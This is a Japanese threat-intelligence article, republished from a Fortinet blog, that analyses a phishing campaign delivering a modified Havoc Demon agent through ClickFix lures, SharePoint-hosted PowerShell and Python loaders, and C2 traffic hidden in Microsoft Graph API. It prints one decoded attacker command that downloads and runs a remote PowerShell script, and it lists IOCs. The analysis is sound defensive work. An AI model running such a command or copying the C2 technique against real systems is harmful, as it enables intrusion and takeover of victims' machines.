改造版Havoc Demonが猛威! SharePointを悪用した新たな攻撃を解析

文●フォーティネットジャパン 編集●ASCII

提供: フォーティネットジャパン

  • この記事をはてなブックマークに追加
  • 本文印刷

本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「Havoc:SharePointとMicrosoft Graph APIをFUD C2に悪用」を再編集したものです。

影響を受けるプラットフォーム: Microsoft Windows
影響を受けるユーザー:     あらゆる組織
影響:             攻撃者による感染したシステムの乗っ取り
深刻度:            高

 Havocは強力なコマンド&コントロール(C2)フレームワークです。Cobalt Strike、Silver、Winos4.0などその他の有名なC2フレームワークと同様、Havocは攻撃キャンペーンで標的を完全に制御するために使用されています。また、GitHubで入手できるオープンソースのフレームワークであるため、脅威アクターはこれを容易に改造して検知を回避することができます。

 FortiGuard Labsは先日、ClickFixと多段階型マルウェアを組み合わせて改造版Havoc Demonエージェントを配信するフィッシング攻撃を発見しました。脅威アクターはSharePointサイトに各攻撃段階を隠蔽し、Havoc Demonの改造版とMicrosoft Graph APIを組み合わせて、信頼性の高い有名なサービスにC2通信を紛れ込ませます。図1に攻撃チェーンを示します。

図1:攻撃フロー

初期アクセス

 この攻撃は、HTMLファイルが添付されたフィッシングメール(図2)から始まります。簡単な説明と緊急性を装った文面で、受信者に今すぐ添付ファイルを開くよう促します。

図2:フィッシングメール

 添付されている「Documents.html」は、ClickFixの攻撃ファイルです。偽のエラーメッセージとHTML形式の説明が埋め込まれており、ユーザーを騙して悪意のあるPowerShellコマンドを端末またはPowerShellにコピーアンドペーストさせ、最終的に悪意のあるコードを実行します。

図3:ClickFixソーシャルエンジニアリング戦術を使ったDocument.html

 図3のbase64でエンコードされた文字列をデコードすると、リモートPowerShellスクリプトをダウンロードして実行するPowerShellコマンドであることがわかります。

powershell -w h -c "iwr ‘hxxps://hao771[.] sharepoint.com/_layouts/15/download.aspx?share =EU7smZuKo-pDixZ26BSAaX0BVVcF5VkOc7qEvjsDSAH9OQ'|iex"

payload_20250112_074319.ps1

 このスクリプトファイルはSharePointでホストされ、脅威アクターによって制御されています。スクリプトは実行されると、ドメインコンピュータの数を確認し、実行環境がサンドボックスかどうかを確かめます。次に、HKCU:\Software\Microsoft配下にあり、名前が「zr_」で始まるレジストリエントリをすべて削除し、指定されたプロパティを感染マーカーとして追加します(図4)。

図4:サンドボックスを回避し感染タグを付けるPowerShellスクリプト

 続いてpythonw.exeの有無を確認します。pythonw.exeがない場合は、Pythonインタプリタをダウンロードします。それ以外の場合は、Pythonスクリプトを直接実行します。最後にリモートPythonスクリプトが抽出され、悪意のある行為を隠蔽するために非表示ウィンドウで実行されます(図5)。

図5:リモートPythonスクリプトをダウンロードして実行するPowerShellスクリプト

Pythonシェルコードローダー:
payload_20250107_015913.py

 PowerShellスクリプトと同様に、Pythonスクリプトも同じSharePointでホストされます。スクリプトはロシア語で書かれたデバッグ情報を格納しており、シェルコードローダーとして機能します。

 私たちは、端末上でPythonインタプリタを使ってスクリプトを直接実行しました。ログには「Выделение памяти」(メモリ割り当て)、「Запись в память」(メモリへの書き込み)、「Выполнение shellcode」(シェルコードの実行)、「Завершение выполнения скрипта」(スクリプトの実行完了)が順次表示されます。これはシェルコードの実行に成功したことを示しています(図6)。

図6:シェルコード実行用のPythonスクリプト

KaynLdr

 KaynLdrはGithubのシェルコードローダーで、埋め込まれたDLLを反射的に読み込むよう設計されています。改変したDJB2アルゴリズムを使ったAPIハッシュ化によって解析を困難にし、解決されたntdll APIを利用してメモリの割り当てとマッピングを行います。「call rax」命令は、埋め込まれたDLLのエントリポイントを実行します(図7)。

図7:KaynLdrシェルコードローダーを使用したdllの実行

Havoc Demon DLL

 HavocはオープンソースのポストエクスプロイトC2フレームワークで、侵害された標的を完全に制御する目的で、レッドチーム演習や攻撃キャンペーンで使用されています。

 今回の攻撃では、脅威アクターがHavocとMicrosoft Graph APIを組み合わせて使用し、C2通信を有名なサービスに隠蔽することが確認されています。

 改造版のHavoc Demon DLLも、まずはDemonInitを実行し、KaynLdrと同じハッシュアルゴリズムを使用して必要なAPIを取得し、コンフィギュレーションオブジェクトを初期化します。

図8:改造版Havoc Demon DLLのDemonMainと、取得されたAPIは、アドレス0xb6で始まる構造体に格納される

 2つ目の関数「SharePointC2Init」は、Microsoft Graph APIを使用して攻撃者のSharePointサイトにあるファイルを初期化します。

 まず、ハードコードされた共有シークレットと必須パラメータを組み合わせ、POSTリクエストを作成します。次に、リクエストをMicrosoft Identity Platformの/tokenエンドポイントに送信し、Microsoft Graph API用のアクセストークンを取得します。

図9:ハードコードされた共有シークレットを使用したアクセストークンリクエスト

 続いて、取得したトークンを使用してPUTリクエストを作成し、SharePointの既定のドキュメントライブラリに2つのファイルを作成します(図10)。

図10:ルートフォルダでのファイル作成

 Havoc AgentIDは、ファイル名としてVictimIDを生成し、その目的を示すサフィックス「pD9-tKout」または「pD9-tKin」を付けます。

表1:SharePointのC2が標的の制御に使用する2つのファイル

 C2に最初に送信されるパケットはCheckInリクエストで、DemonMetaData関数で収集したデータが格納されています。この段階で、被害者の情報(ホスト名、ユーザー名、ドメイン名、IPアドレス、プロセスの詳細、OS情報、昇格されたアカウントの有無、Demon DLLのコンフィギュレーションなど)がC2サーバーに送信されます。

 すべてのコンテンツは、ランダムに生成された256ビットキーと128ビットIVを使用して、CTRモードのAES-256アルゴリズムによって暗号化されます。最後にヘッダーが追加された後(図11)、TransportSend関数を介してデータがC2サーバーに送信されます。

図11:CheckInリクエストのコンテンツとHavoc Githubのメタデータ構造

 TransportSend関数は、{VictimID}pD9-tKoutと{VictimID}pD9-tKinの2つのファイルにアクセスしてC2と通信するように変更されていました。

 この関数は、「{VictimID}pD9-tKout」ファイルへのリクエストを更新し、次にMicrosoft Graph APIとGETメソッドを使用してC2からの応答を受信し、「{VictimID}pD9-tKin」ファイルのコンテンツにアクセスします。応答を正常に取得すると、「{VictimID}pD9-tKin」ファイルのコンテンツはただちに削除されます。

図12:変更されたTransportSend関数と「FetchInFile」関数

 次に、応答のコンテンツとAgentIDが照合されます。両者が一致すると、session.connectedフラグが設定され、攻撃者からの新規タスクを待機するためにディスパッチャルーチンが開始されます。

 ディスパッチャルーチンでは、エージェントが「Get Job」リクエストを送信し、応答を解析してコマンドID、リクエストID、タスクを取得します。我々の解析ではDEMON_COMMAND_NO_JOB(コマンドID:0xA)しか確認されませんでしたが、以下に示すように、プログラム中に0xA以外のコマンドIDが存在する場合は、タスクが復号され実行されることが判明しました。

図13:「{VictimID}pD9-tKin」ファイルのコンテンツへのアクセス

 サポートされるコマンドはHavoc Githubの場合と同じです(図14)。これらのコマンドにより、標的に関する情報収集、ファイル操作、コマンドとペイロードの実行、トークンの操作、Kerberos攻撃などが行われます。

図14:Demonコマンドを実行する主な関数

結論

 悪意のあるコマンドをうっかりダウンロードして実行しないようにするには、フィッシングメールに警戒するだけでなく、端末やPowerShellを開くよう促す誘導メッセージにも特別な注意を払う必要があります。

 本ブログでは、Havoc Demonで使用された攻撃フローと、改造されたオープンソースのポストエクスプロイトフレームワークについて解説しました。この攻撃キャンペーンでも、公共サービスは重要な役割を果たしています。現在では、これらのサービスと改造版Havoc Demonはより緊密に統合され、悪意のある通信をMicrosoft Graph APIに隠蔽し、識別や検知をより困難にしています。

フォーティネットのソリューション

 FortiGuardアンチウイルスは、このブログで解説したマルウェアを、以下の不正プログラムとして検知しブロックします。

HTML/Agent.A5D4!tr
PowerShell/MalwThreat!ebc5FT
Python/Agent.DF60!tr
W64/Havoc.L!tr

 FortiGate、FortiMail、FortiClient、FortiEDRは、FortiGuardアンチウイルスサービスをサポートしています。これらの各ソリューションには、FortiGuardアンチウイルスエンジンが含まれています。したがって、最新の保護機能を備えたこれらの製品をお使いのお客様は、脅威から保護されています。

 FortiGuard CDR(コンテンツ無害化)サービスは、ドキュメント内の悪意のあるマクロを無効化することができます。

 FortiGuard Labsは、Havoc C2ネットワーク通信をブロックするためのBackdoor.Havoc.Agent IPSシグネチャを公開しています。

 フォーティネットでは、無償でご利用いただけるサイバーセキュリティトレーニング:Fortinet Certified Fundamentals(FCF)の受講もお勧めしています。このトレーニングは、ユーザーが今日の脅威情勢を認識し、基本的なサイバーセキュリティの概念と技術を習得することを目的としています。

 FortiGuard IPレピュテーションおよびアンチボットセキュリティサービスは、フォーティネット分散ネットワークから入手した不正送信元のIPデータを集約し、マルウェア攻撃をプロアクティブにブロックします。この分散ネットワークでは、脅威センサー、CERT、MITER、協力関係にある他社、その他のグローバルソースが連携し、悪意ある送信元に関する最新の脅威インテリジェンスを提供しています。

 組織がHavoc Demonやその他のサイバーセキュリティ攻撃を受けていると思われる場合は、フォーティネットのグローバルFortiGuardインシデントレスポンスチームまでご連絡ください。

IOC(Indicators of Compromise:侵害指標)

C2
hao771[.]sharepoint.com

ファイル
51796effe230d9eca8ec33eb17de9c27e9e96ab52e788e3a9965528be2902330
989f58c86343704f143c0d9e16893fad98843b932740b113e8b2f8376859d2dd
A5210aaa9eb51e866d9c2ef17f55c0526732eacb1a412b910394b6b51246b7da
cc151456cf7df7ff43113e5f82c4ce89434ab40e68cd6fb362e4ae4f70ce65b3

■関連サイト